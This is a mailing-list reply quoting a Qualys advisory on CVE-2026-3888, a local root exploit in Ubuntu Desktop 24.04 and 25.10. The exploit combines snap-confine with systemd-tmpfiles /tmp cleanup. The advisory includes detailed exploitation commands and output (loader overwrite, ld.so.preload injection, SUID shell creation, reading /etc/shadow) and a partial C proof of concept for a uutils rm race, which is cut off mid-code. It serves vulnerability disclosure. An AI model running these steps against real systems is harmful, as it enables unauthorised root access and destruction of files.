Nice work... flashbacks from 2002
(https://lcamtuf.coredump.cx/tmp_paper.txt). It's frankly somewhat
mind-boggling that distros keep a world-writable /tmp this day and
age. Whatever questionable benefits it has, it also contributed to
plenty of pointless and easily avoidable vulns.

/mz

On Tue, Mar 17, 2026 at 1:35 PM Qualys Security Advisory <[email protected]> 
wrote:
>
>
> Qualys Security Advisory
>
> Good things come to those who wait:
> snap-confine + systemd-tmpfiles = root (CVE-2026-3888)
>
>
> ========================================================================
> Contents
> ========================================================================
>
> Summary
> Case study: Ubuntu Desktop 24.04
> - Analysis
> - Exploitation
> Case study: Ubuntu Desktop 25.10
> - Overview
> - Exploitation
> A quick note on the uutils coreutils (the rust-coreutils)
> Acknowledgments
> Timeline
>
>     And that is why Caterpillar was never in a hurry.
>     She knew that good things come to those who wait.
>         -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
>
>
> ========================================================================
> Summary
> ========================================================================
>
> We discovered an unusual Local Privilege Escalation (LPE), from any
> unprivileged user to full root, in the default installation of Ubuntu
> Desktop >= 24.04. We found this vulnerability particularly interesting:
>
> a/ it stems from the interaction of two otherwise secure programs:
>
> - snap-confine, which is set-user-ID-root (or set-capabilities), and
>   "used internally by snapd to construct the execution environment for
>   snap applications" (man snap-confine);
>
> - systemd-tmpfiles, which is executed as root once per day, and
>   "creates, deletes, and cleans up files and directories, using the
>   configuration file format and location specified in tmpfiles.d(5)"
>   (man systemd-tmpfiles);
>
> b/ an unprivileged local attacker who wants to exploit this LPE must
> wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to
> obtain a fully privileged root shell.
>
> As a side note, we also discovered a local vulnerability (a race
> condition) in the uutils coreutils (a Rust rewrite of the standard GNU
> coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default
> in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before
> its release (by replacing the uutils coreutils' rm with the standard GNU
> coreutils' rm), and would otherwise have resulted in an LPE (from any
> unprivileged user to full root) in the default installation of Ubuntu
> Desktop 25.10.
>
>
> ========================================================================
> Case study: Ubuntu Desktop 24.04
> ========================================================================
>
>     Go slow, go slow,
>     If you want to grow.
>         -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
>
> ________________________________________________________________________
>
> Analysis
> ________________________________________________________________________
>
> We recently noticed that, in the default installation of Ubuntu since
> version 24.04, systemd-tmpfiles is configured to automatically clean up
> the files and directories in /tmp that are older than 30 days (in Ubuntu
> 24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles
> traverses /tmp once per day and deletes all the files and directories
> that have not been accessed nor modified for more than 10 or 30 days.
>
> ------------------------------------------------------------------------
> $ cat /etc/os-release
> PRETTY_NAME="Ubuntu 24.04.3 LTS"
> ...
>
> $ cat /usr/lib/tmpfiles.d/tmp.conf
> ...
> D /tmp 1777 root root 30d
> #q /var/tmp 1777 root root 30d
> ------------------------------------------------------------------------
>
> ------------------------------------------------------------------------
> $ cat /etc/os-release
> PRETTY_NAME="Ubuntu 25.10"
> ...
>
> $ cat /usr/lib/tmpfiles.d/tmp.conf
> ...
> q /tmp 1777 root root 10d
> q /var/tmp 1777 root root 30d
> ------------------------------------------------------------------------
>
> From our "Lemmings" and "Leeloo" advisories, we then remembered that
> snap-confine does highly privileged work in /tmp; in particular, in the
> /tmp/snap-private-tmp directory, which is securely created at boot time
> (as user root, mode 0700):
>
>   https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt
>   https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt
>
> ------------------------------------------------------------------------
> $ cat /usr/lib/tmpfiles.d/snapd.conf
> D! /tmp/snap-private-tmp 0700 root root -
> ------------------------------------------------------------------------
>
> We therefore came up with the following idea: if, unbeknownst to
> snap-confine, systemd-tmpfiles deletes one of the files or directories
> from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local
> attacker) re-create the deleted file or directory ourselves, and exploit
> snap-confine's privileged work to obtain a fully privileged root shell?
>
> Still from our "Lemmings" and "Leeloo" advisories, we also remembered
> that, to set up a snap's sandbox, snap-confine creates a directory named
> /tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later
> bind-mounted onto the /tmp directory inside the snap's sandbox.
>
> And inside this /tmp directory (inside the snap's sandbox), snap-confine
> creates a directory named /tmp/.snap (as user root, mode 0755) to create
> "mimics"; for example, inside the sandbox of each and every snap that is
> installed by default on Ubuntu Desktop, snap-confine bind-mounts the
> /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 directory:
>
> - to bind-mount this directory, snap-confine must first create its
>   /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint, which does not
>   normally exist;
>
> - but inside the snap's sandbox, /usr/lib/x86_64-linux-gnu is in a
>   read-only filesystem (the "core22" base's squashfs);
>
> - so snap-confine must first create a "mimic" of
>   /usr/lib/x86_64-linux-gnu (a writable copy of
>   /usr/lib/x86_64-linux-gnu), by:
>
> 1/ bind-mounting the original, read-only /usr/lib/x86_64-linux-gnu onto
> /tmp/.snap/usr/lib/x86_64-linux-gnu (inside the snap's sandbox);
>
> 2/ mounting a new, writable tmpfs onto /usr/lib/x86_64-linux-gnu;
>
> 3/ bind-mounting every file and directory from
> /tmp/.snap/usr/lib/x86_64-linux-gnu back into /usr/lib/x86_64-linux-gnu;
>
> 4/ creating the /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 mountpoint
> (which is in a writable tmpfs now);
>
> 5/ finally bind-mounting
> /snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
> (for example) onto /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0.
>
> ------------------------------------------------------------------------
> $ grep /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/*
> /var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0
>  /usr/lib/x86_64-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 
> 0 0
> ...
> ------------------------------------------------------------------------
>
> Consequently, our theoretical idea to exploit snap-confine is:
>
> - inside the snap's sandbox, we frequently write to the /tmp directory
>   (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to
>   delete the unmodified /tmp/.snap directory (but not /tmp) after 10
>   days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);
>
> - we re-create the /tmp/.snap directory ourselves (indeed, /tmp is
>   world-writable), and create our own copy of /usr/lib/x86_64-linux-gnu
>   in /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange;
>
> - we force snap-confine to set up the snap's sandbox afresh, but during
>   the creation of the /usr/lib/x86_64-linux-gnu "mimic", between step 1/
>   and step 3/, we quickly replace /tmp/.snap/usr/lib/x86_64-linux-gnu
>   with our own /tmp/.snap/usr/lib/x86_64-linux-gnu.exchange (indeed,
>   /tmp/.snap belongs to us);
>
> - as a result, during step 3/ of the creation of this "mimic",
>   snap-confine bind-mounts our own files into /usr/lib/x86_64-linux-gnu,
>   so we control every shared library and the dynamic loader (inside the
>   snap's sandbox) and can execute arbitrary code as root by simply
>   executing any dynamically-linked SUID-root binary.
>
> In the following proof of concept for Ubuntu Desktop 24.04, we put this
> theoretical idea into practice.
>
> ________________________________________________________________________
>
> Exploitation
> ________________________________________________________________________
>
> First, we set up the sandbox of one of the snaps that are installed by
> default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine
> with the "core22" base, then we obtain an unprivileged shell inside this
> snap's sandbox, we chdir to its /tmp directory, we frequently write to
> this directory (but not to its /tmp/.snap sub-directory), and we wait
> for systemd-tmpfiles to delete the unmodified /tmp/.snap directory
> (after 30 days, in Ubuntu 24.04).
>
> ------------------------------------------------------------------------
> outside$ cat /etc/os-release
> PRETTY_NAME="Ubuntu 24.04.3 LTS"
> ...
>
> outside$ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
>
> outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base 
> core22 snap.firefox.hook.configure /bin/bash
>
> inside$ cd /tmp
>
> inside$ stat ./.snap
> ...
> Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
> ...
>
> inside$ while test -d ./.snap; do touch ./; sleep 60; done
> [30 days pass]
>
> inside$ stat ./.snap
> stat: cannot statx './.snap': No such file or directory
> ------------------------------------------------------------------------
>
> Second, from another shell outside the snap's sandbox, we chdir to
> /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through
> the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to
> /tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp
> belongs to root, mode 0700), we destroy the snap's sandbox (but not its
> /tmp directory) by executing snap-confine with an invalid base (the
> "snapd" base), and we run our firefox_24.04.c helper (which is basically
> CVE-2021-44731-Desktop.c from our "Lemmings" advisory):
>
> - we re-create the ./.snap directory ourselves (/tmp/.snap inside the
>   snap's sandbox), since it was deleted by systemd-tmpfiles, and we
>   create our own copy of /snap/core22/current/usr/lib/x86_64-linux-gnu
>   in ./.snap/usr/lib/x86_64-linux-gnu.exchange;
>
> - we force snap-confine to set up the snap's sandbox afresh, by
>   executing it with the "core22" base, but we "single-step" this
>   execution of snap-confine (we set SNAPD_DEBUG=1, we redirect its
>   stderr to an AF_UNIX socket with minimized SO_RCVBUF and SO_SNDBUF, we
>   read() its output byte by byte, and we recv(MSG_PEEK) at its buffered
>   output), to reliably win the race condition between step 1/ and step
>   3/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu;
>
> - as soon as we read() or recv() the following message (immediately
>   after step 1/ of the "mimic" creation of /usr/lib/x86_64-linux-gnu),
>
>   mount name:"/usr/lib/x86_64-linux-gnu" 
> dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu"
>
>   we quickly replace snap-confine's ./.snap/usr/lib/x86_64-linux-gnu
>   with our own ./.snap/usr/lib/x86_64-linux-gnu.exchange, whose contents
>   are then bind-mounted into /usr/lib/x86_64-linux-gnu, thus giving us
>   full control over every shared library and the dynamic loader inside
>   the snap's sandbox.
>
> ------------------------------------------------------------------------
> outside$ cd /proc/2396/cwd
>
> outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base 
> snapd snap.firefox.hook.configure /nonexistent
> /user.slice/user-1001.slice/session-145.scope is not a snap cgroup
>
> outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
> Running as unit: snap.whatever.scope; invocation ID: 
> ed50ae80aa9844d6a6e4499ea1f4bba8
>
> outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base 
> snapd snap.firefox.hook.configure /nonexistent
> cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_yMpga4//dev: No 
> such file or directory
>
> outside$ exit
>
> outside$ ~/firefox_24.04
> hange.go:351: DEBUG: mount name:"/usr/lib/x86_64-linux-gnu" 
> dir:"/tmp/.snap/usr/lib/x86_64-linux-gnu" type:"" opts:MS_BIND|MS_REC 
> unparsed:"" (error: <nil>)
> change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x86_64-linux-gnu" 
> type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
> ...
> change.go:351: DEBUG: mount 
> name:"/tmp/.snap/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" 
> dir:"/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MS_BIND 
> unparsed:"" (error: <nil>)
> ...
> change.go:351: DEBUG: mount 
> name:"/snap/firefox/6565/gnome-platform/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0"
>  dir:"/usr/lib/x86_64-linux-gnu/webkit2gtk-4.0" type:"none" 
> opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> ...
> execv failed: No such file or directory
> ------------------------------------------------------------------------
>
> Third, we obtain an unprivileged shell inside this newly set up sandbox,
> by executing snap-confine with the same "core22" base; and from another
> shell outside this snap's sandbox, we chdir to its / directory, through
> the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to
> ./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the
> dynamic loader ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 (which
> belongs to us) with a simple shellcode that calls setreuid(0) and
> execve(/tmp/sh) (a busybox shell).
>
> ------------------------------------------------------------------------
> outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base 
> core22 snap.firefox.hook.configure /bin/bash
> inside$
> ------------------------------------------------------------------------
>
> ------------------------------------------------------------------------
> outside$ cd /proc/4516/root
>
> outside$ cp /usr/bin/busybox ./tmp/sh
>
> outside$ cat ~/librootshell.so > 
> ./usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
> ------------------------------------------------------------------------
>
> Fourth, we obtain a root shell inside the snap's sandbox, by executing
> snap-confine itself through snap-confine, which is dynamically linked
> and SUID-root and therefore executes our own dynamic loader's shellcode
> (and hence a busybox shell) as root. (Note: the snap's sandbox contains
> various SUID-root binaries, but only the execution of snap-confine is
> allowed by its AppArmor profile.)
>
> ------------------------------------------------------------------------
> outside$ env -i SNAP_INSTANCE_NAME=firefox /usr/lib/snapd/snap-confine --base 
> core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine
> ...
> BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash)
> ...
>
> inside# id
> uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
> ^^^^^^^^^^^
>
> inside# cat /etc/shadow
> cat: can't open '/etc/shadow': Permission denied
> ------------------------------------------------------------------------
>
> Fifth, because this root shell is still inside the snap's sandbox,
> confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
> to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
> allowed by the AppArmor profile and the seccomp filter), and execute
> this SUID-root shell from outside the snap's sandbox, thereby finally
> gaining full root privileges.
>
> ------------------------------------------------------------------------
> inside# cp /bin/bash /var/snap/firefox/common/
>
> inside# chmod 04755 /var/snap/firefox/common/bash
>
> inside# exit
>
> outside$ /var/snap/firefox/common/bash -p
>
> outside# id
> uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
>                               ^^^^^^^^^^^^
>
> outside# cat /etc/shadow
> root:*:20305:0:99999:7:::
> daemon:*:20305:0:99999:7:::
> ...
> ------------------------------------------------------------------------
>
>
> ========================================================================
> Case study: Ubuntu Desktop 25.10
> ========================================================================
>
>     Why go fast?
>     Let life run past?
>         -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"
>
> ________________________________________________________________________
>
> Overview
> ________________________________________________________________________
>
> For Ubuntu Desktop 25.10 we must change our exploitation strategy,
> because snap-confine is not SUID-root anymore; instead, it now has
> capabilities attached:
>
> ------------------------------------------------------------------------
> $ stat /usr/lib/snapd/snap-confine
> ...
> Access: (0755/-rwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
> ...
>
> $ getcap /usr/lib/snapd/snap-confine
> /usr/lib/snapd/snap-confine 
> cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p
> ------------------------------------------------------------------------
>
> These capabilities are actually very powerful, and we can obtain them
> inside a snap's sandbox by slightly revising our exploitation strategy
> from Ubuntu 24.04 (by calling capset() and prctl(PR_CAP_AMBIENT_RAISE)
> instead of setreuid(0)), but most of these capabilities and associated
> syscalls are then denied to us by AppArmor and seccomp, thus preventing
> us from gaining full root privileges outside the snap's sandbox.
>
> Consequently, we decided to re-use the strategy that we used in our
> "Lemmings" advisory to exploit the "snap-store" snap (which is installed
> by default on Ubuntu Desktop): instead of racing against the "mimic"
> creation of /usr/lib/x86_64-linux-gnu, we race against the "mimic"
> creation of /var/lib (which is needed to bind-mount /var/lib/app-info
> inside snap-store's sandbox), which allows us to control /var/lib and
> hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn
> allows us to bind-mount near-arbitrary directories and obtain a root
> shell inside snap-store's sandbox, and eventually a fully privileged
> root shell outside snap-store's sandbox.
>
> ________________________________________________________________________
>
> Exploitation
> ________________________________________________________________________
>
> First, we set up snap-store's sandbox by executing snap-confine with the
> "core22" base, we obtain an unprivileged shell inside this sandbox, we
> chdir to its /tmp directory, we frequently write to this directory (but
> not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles
> to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu
> 25.10).
>
> ------------------------------------------------------------------------
> outside$ cat /etc/os-release
> PRETTY_NAME="Ubuntu 25.10"
> ...
>
> outside$ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
>
> outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine 
> --base core22 snap.snap-store.hook.configure /bin/bash
>
> inside$ cd /tmp
>
> inside$ stat ./.snap
> ...
> Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
> ...
>
> inside$ while test -d ./.snap; do touch ./; sleep 60; done
> [10 days pass]
>
> inside$ stat ./.snap
> stat: cannot statx './.snap': No such file or directory
> ------------------------------------------------------------------------
>
> Second, from another shell outside snap-store's sandbox, we chdir to
> /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the
> /proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox
> (but not its /tmp directory) by executing snap-confine with an invalid
> base ("snapd"), and we run our snap-store_25.10.c helper (which is also
> basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):
>
> - we re-create the ./.snap directory ourselves (/tmp/.snap inside
>   snap-store's sandbox), since it was deleted by systemd-tmpfiles, and
>   we create our own copy of /snap/core22/current/var/lib in
>   ./.snap/var/lib.exchange;
>
> - we force snap-confine to set up snap-store's sandbox afresh, by
>   executing it with the "core22" base, but we "single-step" this
>   execution (with SNAPD_DEBUG=1), to reliably win the race condition
>   between step 1/ and step 3/ of the "mimic" creation of /var/lib;
>
> - as soon as we see the following debug message (immediately after step
>   1/ of the "mimic" creation of /var/lib),
>
>   mount name:"/var/lib" dir:"/tmp/.snap/var/lib"
>
>   we quickly replace snap-confine's ./.snap/var/lib with our own
>   ./.snap/var/lib.exchange, whose contents are then bind-mounted into
>   /var/lib (inside snap-store's sandbox); this replacement has two
>   beneficial consequences for us:
>
>   a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which
>   allows us to bind-mount near-arbitrary directories inside snap-store's
>   sandbox (these bind-mounts are not completely arbitrary, because they
>   are still confined by an AppArmor profile);
>
>   b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and
>   their execution is allowed by an AppArmor rule "/tmp/** mrwlkix,"
>   inside snap-store's sandbox.
>
> ------------------------------------------------------------------------
> outside$ cd /proc/4078/cwd
>
> outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine 
> --base snapd snap.snap-store.hook.configure /nonexistent
> /user.slice/user-1001.slice/session-33.scope is not a snap cgroup
>
> outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash
> Running as unit: snap.whatever.scope; invocation ID: 
> 113af972356b4f08a58461cf64cc57f6
>
> outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine 
> --base snapd snap.snap-store.hook.configure /nonexistent
> cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_GCNDEM//dev: No 
> such file or directory
>
> outside$ exit
>
> outside$ ~/snap-store_25.10
> ...
> hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" 
> opts:MS_BIND|MS_REC unparsed:"" (error: <nil>)
> change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: 
> unparsed:"mode=0755,uid=0,gid=0" (error: <nil>)
> ...
> change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNT_NOFOLLOW|MNT_DETACH 
> (error: invalid argument)
> change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is 
> not mounted
> change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove 
> /tmp/.snap/var/lib: directory not empty)
> ...
> /var/lib/snapd not root-owned 1001:1001
> ------------------------------------------------------------------------
>
> Third, still from outside snap-store's sandbox but inside its /tmp
> directory:
>
> - we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the
>   sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we
>   create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a
>   simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy
>   /usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the
>   following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab,
>   which will bind-mount our copy of /etc inside snap-store's sandbox:
>
>   /tmp/.snap/etc /etc none rbind,rw 0 0
>
> - we also add the following line to
>   ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace
>   our own ./.snap/var/lib with the original ./.snap/var/lib.exchange),
>   which will bind-mount the original, root-owned /var/lib/snapd inside
>   snap-store's sandbox (otherwise snap-confine dies because it detects
>   that /var/lib/snapd does not belong to root -- it belongs to us since
>   we won the race condition against the "mimic" creation of /var/lib):
>
>   /tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0
>
> ------------------------------------------------------------------------
> outside$ cp -a /etc ./.snap
> ...
>
> outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload
>
> outside$ cp ~/librootshell.so ./
>
> outside$ cp /usr/bin/busybox ./sh
>
> outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > 
> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
>
> outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> 
> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab
>
> outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2
>
> outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib
> ------------------------------------------------------------------------
>
> Fourth, we obtain a root shell inside snap-store's sandbox, by executing
> snap-confine with one of the SUID-root binaries in /tmp/.snap (such as
> /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which
> is dynamically linked and therefore preloads our /tmp/librootshell.so
> and executes our shellcode (and hence a busybox shell) as root.
>
> ------------------------------------------------------------------------
> outside$ env -i SNAP_INSTANCE_NAME=snap-store /usr/lib/snapd/snap-confine 
> --base core22 snap.snap-store.hook.configure 
> /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
> ...
> BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash)
> ...
>
> inside# id
> uid=0(root) gid=1001(jane) groups=100(users),1001(jane)
> ^^^^^^^^^^^
>
> inside# cat /etc/shadow
> cat: can't open '/etc/shadow': No such file or directory
> ------------------------------------------------------------------------
>
> Fifth, because this root shell is still inside snap-store's sandbox,
> confined by an AppArmor profile and a seccomp filter, we copy /bin/bash
> to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are
> allowed by the AppArmor profile and the seccomp filter), and execute
> this SUID-root shell from outside snap-store's sandbox, thereby finally
> gaining full root privileges.
>
> ------------------------------------------------------------------------
> inside# cp /bin/bash /var/snap/snap-store/common/
>
> inside# chmod 04755 /var/snap/snap-store/common/bash
>
> inside# exit
>
> outside$ /var/snap/snap-store/common/bash -p
>
> outside# id
> uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users)
>                               ^^^^^^^^^^^^
>
> outside# cat /etc/shadow
> root:*:20368:0:99999:7:::
> daemon:*:20368:0:99999:7:::
> ...
> ------------------------------------------------------------------------
>
>
> ========================================================================
> A quick note on the uutils coreutils (the rust-coreutils)
> ========================================================================
>
> In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security
> Team proactively contacted us and kindly asked us if we were interested
> in reviewing the security of the uutils coreutils (a Rust rewrite of the
> standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are
> since then installed by default in Ubuntu 25.10.
>
> We were deeply interested, and honored, but unfortunately at the time we
> were already working full-time on another project; so we told the Ubuntu
> Security Team that we would not be able to conduct an official security
> review, but that we would try to work on it anyway during our free time.
>
> We started by carefully reading the following report, which already
> contained extremely valuable information; in particular, the mention of
> "unsafe, racy, tree walking algorithms" caught our attention:
>
>   https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815
>
> From our work on apport (CVE-2025-5054), we then remembered that the
> shell script /etc/cron.daily/apport is installed by default on Ubuntu,
> is executed as root once per day, and can recursively delete entire
> sub-directories of /var/crash, which is world-writable like /tmp:
>
> ------------------------------------------------------------------------
> $ cat /etc/cron.daily/apport
> ...
> find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex 
> '.*/[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;
>
> $ stat /var/crash
> ...
> Access: (3777/drwxrwsrwt)  Uid: (    0/    root)   Gid: (    0/    root)
> ...
> ------------------------------------------------------------------------
>
> Since rm is one of the uutils coreutils, we decided to create a
> directory /var/crash/base/parent/target (as an unprivileged attacker)
> and to analyze the strace of an "rm -Rf /var/crash/base" command (as
> root), and we quickly discovered that rm was vulnerable to a trivial
> race condition:
>
> ------------------------------------------------------------------------
>   1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0
> ...
> 147 openat(AT_FDCWD, "/var/crash/base", 
> O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 3
> ...
> 152 openat(AT_FDCWD, "/var/crash/base/parent", 
> O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 4
> ...
> 158 openat(AT_FDCWD, "/var/crash/base/parent/target", 
> O_RDONLY|O_NONBLOCK|O_CLOEXEC|O_DIRECTORY) = 5
> ...
> 163 rmdir("/var/crash/base/parent/target")  = 0
> ...
> 167 rmdir("/var/crash/base/parent")         = 0
> ...
> 171 rmdir("/var/crash/base")                = 0
> ...
> 174 exit_group(0)                           = ?
> ------------------------------------------------------------------------
>
> - if, after rm calls openat() on /var/crash/base/parent (at line 152),
>   but before rm calls openat() on /var/crash/base/parent/target (at line
>   158), if the attacker replaces /var/crash/base/parent with a symlink
>   (which will be followed by rm) to another part of the filesystem (for
>   example, to /etc), then this attacker can delete arbitrary parts of
>   the filesystem, as root (the shell script /etc/cron.daily/apport is
>   executed as root);
>
> - for example, if the attacker replaces "parent" with a symlink to /etc,
>   and if "target" is "ppp", then rm will recursively delete the entire
>   /etc/ppp directory.
>
> We immediately reported this vulnerability to Ubuntu, who, as a
> temporary mitigation in Ubuntu 25.10, replaced the default rm with a
> symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is
> a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils'
> /usr/lib/cargo/bin/coreutils/rm).
>
> To the best of our knowledge, this vulnerability in the uutils
> coreutils' rm was later fixed upstream (by calling openat() relatively
> to each component of a path, instead of calling openat() on absolute
> paths and resolving each path component multiple times), by commits:
>
>   
> https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41
>   
> https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b
>   
> https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714
>
> However, at the time of writing this advisory, the uutils coreutils'
> /usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is
> still vulnerable (but unused, since the default is the GNU coreutils'
> rm); this allows us to test what would have happened if the vulnerable
> rm had been shipped as the default in Ubuntu 25.10. For example, below
> we run our proof of concept as an unprivileged user, and root executes
> the rm command that would have been executed by /etc/cron.daily/apport,
> thereby accidentally deleting the entire /etc/ppp directory:
>
> ------------------------------------------------------------------------
> $ cat /etc/os-release
> PRETTY_NAME="Ubuntu 25.10"
> ...
>
> $ id
> uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
>
> $ cat > uutils_rm.c << "EOF"
> #define _GNU_SOURCE
> #include <sys/inotify.h>
> #include <sys/param.h>
> #include <sys/stat.h>
> #include <sys/types.h>
> #include <dirent.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> #include <unistd.h>
> #include <utime.h>
>
> #define die() do { \
>     fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
>     exit(EXIT_FAILURE); \
> } while (0)
>
> int
> main(const int argc, const char * const argv[])
> {
>     if (argc < 3) die();
>     const char * const writable_dir = argv[1];
>     if (*writable_dir != '/') die();
>
>     const char * const parent_dir = strdup(argv[2]);
>     if (!parent_dir) die();
>     char * const last_slash = strrchr(parent_dir, '/');
>     if (!last_slash) die();
>
>     const char * const target_dir = strdup(last_slash + 1);
>     if (!target_dir) die();
>
>     last_slash[1] = '\0';
>     if (*parent_dir != '/') die();
>     if (!*target_dir) die();
>
>     unsigned long n_pre_dirs = 32;
>     if (argc > 3) {
>         if (argc != 4) die();
>         n_pre_dirs = strtoul(argv[3], NULL, 0);
>     }
>     if (n_pre_dirs <= 0) die();
>     if (n_pre_dirs > (1u<<20)) die();
>
>     if (chdir(writable_dir)) die();
>     char base_dir[] = "XXXXXX";
>     if (!mkdtemp(base_dir)) die();
>     if (chdir(base_dir)) die();
>
>     if (mkdir("parent", 0700)) die();
>     if (chdir("parent")) die();
>     if (mkdir(target_dir, 0700)) die();
>
>     const char * first_dir = NULL;
>     for (;;) {
>         char try[] = "XXXXXX";
>         if (!mkdtemp(try)) die();
>
>         unsigned long n = 0;
